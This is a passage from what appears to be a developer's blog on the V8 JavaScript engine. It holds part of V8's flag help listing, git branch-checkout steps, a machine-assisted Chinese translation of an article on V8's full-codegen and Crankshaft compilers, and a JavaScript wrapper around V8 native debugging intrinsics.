        type: bool  default: true
  --trace_incremental_marking (trace progress of the incremental marking)
        type: bool  default: false
  --track_gc_object_stats (track object counts and memory usage)
        type: bool  default: false
  --trace_gc_object_stats (trace object counts and memory usage)
        type: bool  default: false
  --track_detached_contexts (track native contexts that are expected to be garbage collected)
        type: bool  default: true
  --trace_detached_contexts (trace native contexts that are expected to be garbage collected)
        type: bool  default: false
  --verify_heap (verify heap pointers before and after GC)
        type: bool  default: false
  --move_object_start (enable moving of object starts)
        type: bool  default: true
  --memory_reducer (use memory reducer)
        type: bool  default: true
  --scavenge_reclaim_unmodified_objects (remove unmodified and unreferenced objects)
        type: bool  default: false
  --heap_growing_percent (specifies heap growing factor as (1 + heap_growing_percent/100))
        type: int  default: 0
  --histogram_interval (time interval in ms for aggregating memory histograms)
        type: int  default: 600000
  --trace_object_groups (print object groups detected during each garbage collection)
        type: bool  default: false
  --heap_profiler_trace_objects (Dump heap object allocations/movements/size_updates)
        type: bool  default: false
  --sampling_heap_profiler_suppress_randomness (Use constant sample intervals to eliminate test flakiness)
        type: bool  default: false
  --use_idle_notification (Use idle notification to reduce memory footprint.)
        type: bool  default: true
  --use_ic (use inline caching)
        type: bool  default: true
  --trace_ic (trace inline cache state transitions)
        type: bool  default: false
  --native_code_counters (generate extra code for manipulating stats counters)
        type: bool  default: false
  --always_compact (Perform compaction on every full GC)
        type: bool  default: false
  --never_compact (Never perform compaction on full GC - testing only)
        type: bool  default: false
  --compact_code_space (Compact code space on full collections)
        type: bool  default: true
  --cleanup_code_caches_at_gc (Flush inline caches prior to mark compact collection and flush code caches in maps during mark compact cycle.)
        type: bool  default: true
  --use_marking_progress_bar (Use a progress bar to scan large objects in increments when incremental marking is active.)
        type: bool  default: true
  --zap_code_space (Zap free memory in code space with 0xCC while sweeping.)
        type: bool  default: true
  --random_seed (Default seed for initializing random generator (0, the default, means to use system random).)
        type: int  default: 0
  --trace_weak_arrays (Trace WeakFixedArray usage)
        type: bool  default: false
  --track_prototype_users (Keep track of which maps refer to a given prototype object)
        type: bool  default: false
  --trace_prototype_users (Trace updates to prototype user tracking)
        type: bool  default: false
  --eliminate_prototype_chain_checks (Collapse prototype chain checks into single-cell checks)
        type: bool  default: true
  --use_verbose_printer (allows verbose printing)
        type: bool  default: true
  --trace_for_in_enumerate (Trace for-in enumerate slow-paths)
        type: bool  default: false
  --trace_maps (trace map creation)
        type: bool  default: false
  --allow_natives_syntax (allow natives syntax)
        type: bool  default: false
  --trace_parse (trace parsing and preparsing)
        type: bool  default: false
  --trace_sim (Trace simulator execution)
        type: bool  default: false
  --debug_sim (Enable debugging the simulator)
        type: bool  default: false
  --check_icache (Check icache flushes in ARM and MIPS simulator)
        type: bool  default: false
  --stop_sim_at (Simulator stop after x number of instructions)
        type: int  default: 0
  --sim_stack_alignment (Stack alingment in bytes in simulator (4 or 8, 8 is default))
        type: int  default: 8
  --sim_stack_size (Stack size of the ARM64, MIPS64 and PPC64 simulator in kBytes (default is 2 MB))
        type: int  default: 2048
  --log_regs_modified (When logging register values, only print modified registers.)
        type: bool  default: true
  --log_colour (When logging, try to use coloured output.)
        type: bool  default: true
  --ignore_asm_unimplemented_break (Don't break for ASM_UNIMPLEMENTED_BREAK macros.)
        type: bool  default: false
  --trace_sim_messages (Trace simulator debug messages. Implied by --trace-sim.)
        type: bool  default: false
  --stack_trace_on_illegal (print stack trace when an illegal exception is thrown)
        type: bool  default: false
  --abort_on_uncaught_exception (abort program (dump core) when an uncaught exception is thrown)
        type: bool  default: false
  --randomize_hashes (randomize hashes to avoid predictable hash collisions (with snapshots this option cannot override the baked-in seed))
        type: bool  default: true
  --hash_seed (Fixed seed to use to hash property keys (0 means random)(with snapshots this option cannot override the baked-in seed))
        type: int  default: 0
  --runtime_call_stats (report runtime call counts and times)
        type: bool  default: false
  --profile_deserialization (Print the time it takes to deserialize the snapshot.)
        type: bool  default: false
  --serialization_statistics (Collect statistics on serialized objects.)
        type: bool  default: false
  --regexp_optimization (generate optimized regexp code)
        type: bool  default: true
  --testing_bool_flag (testing_bool_flag)
        type: bool  default: true
  --testing_maybe_bool_flag (testing_maybe_bool_flag)
        type: maybe_bool  default: unset
  --testing_int_flag (testing_int_flag)
        type: int  default: 13
  --testing_float_flag (float-flag)
        type: float  default: 2.5
  --testing_string_flag (string-flag)
        type: string  default: Hello, world!
  --testing_prng_seed (Seed used for threading test randomness)
        type: int  default: 42
  --testing_serialization_file (file in which to serialize heap)
        type: string  default: /tmp/serdes
  --startup_src (Write V8 startup as C++ src. (mksnapshot only))
        type: string  default: NULL
  --startup_blob (Write V8 startup blob file. (mksnapshot only))
        type: string  default: NULL
  --profile_hydrogen_code_stub_compilation (Print the time it takes to lazily compile hydrogen code stubs.)
        type: bool  default: false
  --predictable (enable predictable mode)
        type: bool  default: false
  --force_marking_deque_overflows (force overflows of marking deque by reducing it's size to 64 words)
        type: bool  default: false
  --stress_compaction (stress the GC compactor to flush out bugs (implies --force_marking_deque_overflows))
        type: bool  default: false
  --manual_evacuation_candidates_selection (Test mode only flag. It allows an unit test to select evacuation candidates pages (requires --stress_compaction).)
        type: bool  default: false
  --external_allocation_limit_incremental_time (Time spent in incremental marking steps (in ms) once the external allocation limit is reached)
        type: int  default: 1
  --disable_old_api_accessors (Disable old-style API accessors whose setters trigger through the prototype chain)
        type: bool  default: false
  --help (Print usage message, including flags, on console)
        type: bool  default: true
  --dump_counters (Dump counters on exit)
        type: bool  default: false
  --map_counters (Map counters to a file)
        type: string  default:
  --js_arguments (Pass all remaining arguments to the script. Alias for "--".)
        type: arguments  default:
  --gdbjit (enable GDBJIT interface)
        type: bool  default: false
  --gdbjit_full (enable GDBJIT interface for all code objects)
        type: bool  default: false
  --gdbjit_dump (dump elf objects with debug info to disk)
        type: bool  default: false
  --gdbjit_dump_filter (dump only objects containing this substring)
        type: string  default:
  --enable_slow_asserts (enable asserts that are slow to execute)
        type: bool  default: false
  --print_source (pretty print source code)
        type: bool  default: false
  --print_builtin_source (pretty print source code for builtins)
        type: bool  default: false
  --print_ast (print source AST)
        type: bool  default: false
  --print_builtin_ast (print source AST for builtins)
        type: bool  default: false
  --trap_on_abort (replace aborts by breakpoints)
        type: bool  default: false
  --print_builtin_scopes (print scopes for builtins)
        type: bool  default: false
  --print_scopes (print scopes)
        type: bool  default: false
  --trace_contexts (trace contexts operations)
        type: bool  default: false
  --gc_verbose (print stuff during garbage collection)
        type: bool  default: false
  --heap_stats (report heap statistics before and after GC)
        type: bool  default: false
  --code_stats (report code statistics after GC)
        type: bool  default: false
  --print_handles (report handles after GC)
        type: bool  default: false
  --check_handle_count (Check that there are not too many handles at GC)
        type: bool  default: false
  --print_global_handles (report global handles after GC)
        type: bool  default: false
  --print_turbo_replay (print C++ code to recreate TurboFan graphs)
        type: bool  default: false
  --trace_turbo_escape (enable tracing in escape analysis)
        type: bool  default: false
  --trace_normalization (prints when objects are turned into dictionaries.)
        type: bool  default: false
  --trace_lazy (trace lazy compilation)
        type: bool  default: false
  --collect_heap_spill_statistics (report heap spill statistics along with heap_stats (requires heap_stats))
        type: bool  default: false
  --trace_live_bytes (trace incrementing and resetting of live bytes)
        type: bool  default: false
  --trace_isolates (trace isolate state changes)
        type: bool  default: false
  --regexp_possessive_quantifier (enable possessive quantifier syntax for testing)
        type: bool  default: false
  --trace_regexp_bytecodes (trace regexp bytecode execution)
        type: bool  default: false
  --trace_regexp_assembler (trace regexp macro assembler calls.)
        type: bool  default: false
  --trace_regexp_parser (trace regexp parsing)
        type: bool  default: false
  --print_break_location (print source location on debug break)
        type: bool  default: false
  --log (Minimal logging (no API, code, GC, suspect, or handles samples).)
        type: bool  default: false
  --log_all (Log all events to the log file.)
        type: bool  default: false
  --log_api (Log API events to the log file.)
        type: bool  default: false
  --log_code (Log code events to the log file without profiling.)
        type: bool  default: false
  --log_gc (Log heap samples on garbage collection for the hp2ps tool.)
        type: bool  default: false
  --log_handles (Log global handle events.)
        type: bool  default: false
  --log_snapshot_positions (log positions of (de)serialized objects in the snapshot.)
        type: bool  default: false
  --log_suspect (Log suspect operations.)
        type: bool  default: false
  --prof (Log statistical profiling information (implies --log-code).)
        type: bool  default: false
  --prof_cpp (Like --prof, but ignore generated code.)
        type: bool  default: false
  --prof_browser_mode (Used with --prof, turns on browser-compatible mode for profiling.)
        type: bool  default: true
  --log_regexp (Log regular expression execution.)
        type: bool  default: false
  --logfile (Specify the name of the log file.)
        type: string  default: v8.log
  --logfile_per_isolate (Separate log files for each isolate.)
        type: bool  default: true
  --ll_prof (Enable low-level linux profiler.)
        type: bool  default: false
  --perf_basic_prof (Enable perf linux profiler (basic support).)
        type: bool  default: false
  --perf_basic_prof_only_functions (Only report function code ranges to perf (i.e. no stubs).)
        type: bool  default: false
  --gc_fake_mmap (Specify the name of the file for fake gc mmap used in ll_prof)
        type: string  default: /tmp/__v8_gc__
  --log_internal_timer_events (Time internal events.)
        type: bool  default: false
  --log_timer_events (Time events including external callbacks.)
        type: bool  default: false
  --log_instruction_stats (Log AArch64 instruction statistics.)
        type: bool  default: false
  --log_instruction_file (AArch64 instruction statistics log file.)
        type: string  default: arm64_inst.csv
  --log_instruction_period (AArch64 instruction statistics logging period.)
        type: int  default: 4194304
  --redirect_code_traces (output deopt information and disassembly into file code-<pid>-<isolate id>.asm)
        type: bool  default: false
  --redirect_code_traces_to (output deopt information and disassembly into the given file)
        type: string  default: NULL
  --hydrogen_track_positions (track source code positions when building IR)
        type: bool  default: false
  --trace_elements_transitions (trace elements transitions)
        type: bool  default: false
  --trace_creation_allocation_sites (trace the creation of allocation sites)
        type: bool  default: false
  --print_code_stubs (print code stubs)
        type: bool  default: false
  --test_secondary_stub_cache (test secondary stub cache by disabling the primary one)
        type: bool  default: false
  --test_primary_stub_cache (test primary stub cache by disabling the secondary one)
        type: bool  default: false
  --print_code (print generated code)
        type: bool  default: false
  --print_opt_code (print optimized code)
        type: bool  default: false
  --print_unopt_code (print unoptimized code before printing optimized code based on it)
        type: bool  default: false
  --print_code_verbose (print more information for code)
        type: bool  default: false
  --print_builtin_code (print generated code for builtins)
        type: bool  default: false
  --sodium (print generated code output suitable for use with the Sodium code viewer)
        type: bool  default: false
  --print_all_code (enable all flags related to printing code)
        type: bool  default: false
Friday, August 25, 2017 by blast

pull specific v8



After
fetch v8
do
cd v8

git checkout -b ch2681
git checkout -b track_2681 origin/chromium/2681
git fetch

Thursday, August 24, 2017 by blast

v8: a tale of two compilers



@http://wingolog.org/archives/2011/07/05/v8-a-tale-of-two-compilers

this article and all articles in this site were mostly translated by Google translate with a little human polishing.

普通读者会注意到我对V8 JavaScript实现的迷恋。这确实是令人印象深刻的工程。

当V8最初宣布时,Lars Bak写道:

我希望网络社区将采用我们开发的代码和想法来提高JavaScript的性能。提高JavaScript的性能标准对于Web应用程序的持续创新非常重要。

不仅采用V8是成功的,而且在所有JavaScript实现中的“提高性能”中取得了令人瞩目的成就。

但正如威廉·吉布森所说:“未来已经在这里 - 只是分布不均匀。” 考虑到事情发生的变化,V8的许多部分根本没有记录,也许可以理解。所以当我正在加快V8与Igalia的合作时,我一直在努力记录我发现的有趣的事情,所以所有的JavaScript实现都可以学习和改进。

事实上,V8的这项研究给了我很多的想法和动机。所以也许V8的新座右铭应该是“把世界的代码变的更快,只需一个编译器”。

第一个编译:full-codegen

V8将所有JavaScript编译为本地代码。 V8有两个编译器:一个运行速度快,并且生成通用代码,而不是运行速度不高但尝试生成优化代码的编译器。

快速简单的编译器在内部被称为“全代码”编译器。 它作为函数的抽象语法树(AST)作为其输入,遍历AST中的节点,并直接发出对宏程序集的调用。 这是一张照片:

http://wingolog.org/pub/v8-full-codegen.svg

这些框表示编译过程中的数据流。只有两个框,因为正如我们所说,这是一个简单的编译器。所有局部变量都存储在堆栈或堆上,而不是存储在寄存器中。嵌套函数引用的任何变量都存储在与定义变量的函数关联的上下文对象中的堆上。

编译器开始加载和存储,以将这些值拉入寄存器以实际执行此工作。临时堆栈的顶部被缓存在一个寄存器中。复杂的情况通过调用运行时程序来处理。编译器会跟踪正在评估表达式的上下文,以便测试可以直接跳转到后续块,而不是将一个值push进缓存,测试是否为零,然后再进行分支。小整数算术通常是内联的。

实际上,我应该提到即使使用全代码编译器也是一个重要的优化,那就是内联缓存。请参阅Hölzle,Chambers和Ungar的论文【http://wingolog.org/archives/2008/10/19/dynamic-dispatch-a-followup】。内联高速缓存用于分配,一元和二进制操作,函数调用,属性访问和比较。

内置缓存也可用作优化编译器使用的类型信息的来源。在某些语句类型(如赋值)的情况下,IC的唯一目的是记录类型信息.

ast.h
The abstract syntax tree.

full-codegen.h
full-codegen.cc
full-codegen-ia32.cc
全代码编译器。 全代码编译器的大多数关键内容都在目标特定目录(4257行vs 769 + 1323行)。 目前支持的架构是ia32,x64,arm和mips。

类型反馈

V8第一次看到一个函数,它会把函数解析为AST,但实际上并没有做任何事情。 当函数首次运行时,它只运行全代码编译器。 懒惰怎么样 但是,事情开始之后,它启动了一个剖析线程,看看事情发生了,什么功能很热。

这种懒惰的坐在后视观看方式使V8能够记录流经它的类型信息。 所以在决定一个函数是否会被经常访问的时候,可以使用类型来获得一点帮助,它有一个传递给编译器的类型信息。

运行时类型反馈信息被记录并存储在内联高速缓存(IC)中。 类型反馈信息在内部表示为以这样的方式构造的8位值,使得它可以用简单的位掩码来检测类型的层次。 在这一点上,我能做的最好的就是通过源代码展示艺术品:

//         Unknown
//           |   ____________
//           |                |
//      Primitive       Non-primitive
//           |   _______     |
//           |           |    |
//        Number       String |
//         /            |    |
//    Double  Integer32  |   /
//        |      |      /   /
//        |     Smi    /   /
//        |      |    / __/
//        Uninitialized.

每当一个IC存根看到一种新的值时,它会计算该值的类型,并按比例将其与旧类型相对应。初始化类型值未初始化。所以如果IC只能看到Smi(小整数)范围内的整数,记录的类型将会指示。但是一旦它看到一个double值,那个类型就变成了数字;如果它看到一个对象,那么该类型将变为“未知”。非原始IC必须将接收器类型的映射存储在IC中,以便传递。在需要时,类型反馈可以解析IC stub以获取此map。

类型反馈信息与特定的AST节点(分配,属性负载等)相关联。节点的整数标识符被序列化到IC中,因此当V8决定函数经常被调用时,它可以从全代码代码解析记录的类型信息,并将其与AST节点相关联。

这个过程有点复杂。它需要在编译器堆栈中上下支持。你需要有内联缓存。您的内联高速缓存需要支持类型信息,包括操作数和结果。您需要能够遍历这些数据才能找到值。然后,您需要将其链接回AST,以便在将AST传递给优化编译器时,编译器能够提出正确的问题。

V8采取的具体策略是将数据解析为TypeFeedbackOracle对象,将信息与特定的AST节点相关联。然后V8使用这个oracle访问所有的AST节点,节点本身解析出他们可能会从oracle发现有用的数据。

最后,例如,可以询问Property节点是否是单形,在任何情况下,该节点的接收器类型是什么。看来这对于V8来说很好,因为它减少了优化编译器中的移动部件的数量,因为它不需要具有TypeFeedbackOracle本身。

type-info.h
TypeInfo 8位数据类型和TypeFeedbackOracle声明。 我不得不承认,我真的很喜欢在V8中使用C ++。 这是一个令人讨厌的工具,但他们很好。

type-info.cc
TypeFeedbackOracle的实现。 请参阅文件底部的ProcessTarget。
还要检查ast.h链接,看看类型反馈如何与AST本身联系在一起。

曲轴=类型反馈+氢+锂

一旦V8确定函数经常被调用,并收集了一些类型的反馈信息,它会尝试通过优化编译器运行增强的AST。 这种优化编译器被称为Crankshaft ,尽管该名称很少出现在源代码里。

相反,Crankshaft 由Hydrogen 高级中间表示(IR),Lithium 低级别IR及其相关的编译器组成。

Like this:
http://wingolog.org/pub/v8-crankshaft.svg

(我相信“氢(Hydrogen)”和“锂(Lithium)”的名称分别来自高(High-)低(Low-)层。)

取决于你的背景知识,但你可能已经看到过这样的图:

http://www.stanford.edu/class/cs343/resources/java-hotspot.pdf

事实上,我相信Crankshaft受到Sun在Java 6中引入热点客户端编译器的更改的高度影响。让我引用Kotzmann等人的“2008年热点客户端编译器设计”的一段话

首先,通过对字节码的抽象解释来构建编译方法的高级中间表示(HIR)。它由一个控制流图(CFG)组成,其基本块是指令的单链表。 HIR是静态单一赋值(SSA)形式,这意味着对于每个变量,程序中只有一个点被赋值给它。加载或计算值的指令表示操作及其结果,因此操作数可以表示为指向先前指令的指针。在HIR生成期间和之后,执行若干优化,例如恒定折叠,数值编号,方法内联和空检查消除。他们受益于HIR和SSA形式的简单结构。

编译器的后端将优化的HIR转换为低级中间表示(LIR)。 LIR在概念上类似于机器代码,但仍然与平台无关。与HIR指令相反,LIR操作操作在虚拟寄存器上,而不是对先前指令的引用。 LIR有助于各种低级优化,也是线性扫描寄存器分配器的输入,它将虚拟寄存器映射到物理寄存器。

该声明非常整齐地描述了Crankshaft,该论文的第2部分的其余部分在一般意义上适用。当然有一些区别。Crankshaft以AST开头,而不是字节代码。 HotSpot客户端运行时不使用类型反馈来帮助其编译器,因为它对Java不太必要,尽管它仍然有帮助。Crankshaft对异常处理程序不会做很多工作。

但是相似之处在于,V8实际上可以产生由c1visualizer(docs)读取的跟踪,这是一个用于可视化HotSpot客户机编译器内部的程序。 (客户端编译器似乎在内部被称为c1;服务器编译器似乎是opto的)。

by blast

v8 native calls



https://github.com/Nathanaela/v8-Natives/blob/master/lib/v8-native-calls.js

isNative: function() { return true },
getOptimizationStatus: function(fun) {
return %GetOptimizationStatus(fun);
},
getOptimizationCount: function(fun) {
return %GetOptimizationCount(fun);
},
optimizeFunctionOnNextCall: function(fun) {
return %OptimizeFunctionOnNextCall(fun);
},
deoptimizeFunction: function(fun) {
return %DeoptimizeFunction(fun);
},
deoptimizeNow: function() {
return %DeoptimizeNow();
},
clearFunctionTypeFeedback: function(fun) {
return %ClearFunctionTypeFeedback(fun);
},
debugPrint: function(data) {
return %DebugPrint(data);
},
debugTrace: function() {
return %DebugTrace();
},
collectGarbage: function() {
return %CollectGarbage(null);
},
getHeapUsage: function() {
return %GetHeapUsage();
},
hasFastProperties: function(data) {
return %HasFastProperties(data);
},
hasFastSmiElements: function(data) {
return %HasFastSmiElements(data);
},
hasFastObjectElements: function(data) {
return %HasFastObjectElements(data);
},
hasFastDoubleElements: function(data) {
return %HasFastDoubleElements(data);
},
hasDictionaryElements: function(data) {
return %HasDictionaryElements(data);
},
hasFastHoleyElements: function(data) {
return %HasFastHoleyElements(data);
},
hasFastSmiOrObjectElements: function(data) {
return %HasFastSmiOrObjectElements(data);
},
hasSloppyArgumentsElements: function(data) {
return %HasSloppyArgumentsElements(data);
},
haveSameMap: function(data1, data2) {
return %HaveSameMap(data1, data2);
},
functionGetName: function(func) {
return %FunctionGetName(func);
},
isSmi: function(data) {
return %_IsSmi(data);
},
isValidSmi: function(data) {
return %IsValidSmi(data);
},
neverOptimizeFunction: function(func) {
return %NeverOptimizeFunction(func);
},
getV8Version: function() {
return %GetV8Version();
},
isObserved: function(data) {
return %IsObserved(data);
},
setFlags: function(flag) {
return %SetFlags(flag);
},
traceEnter: function() {
return %TraceEnter();
},
traceExit: function(val) {
return %TraceExit(val);
},
getThreadCount: function() {
return %GetThreadCount(0);
}

by blast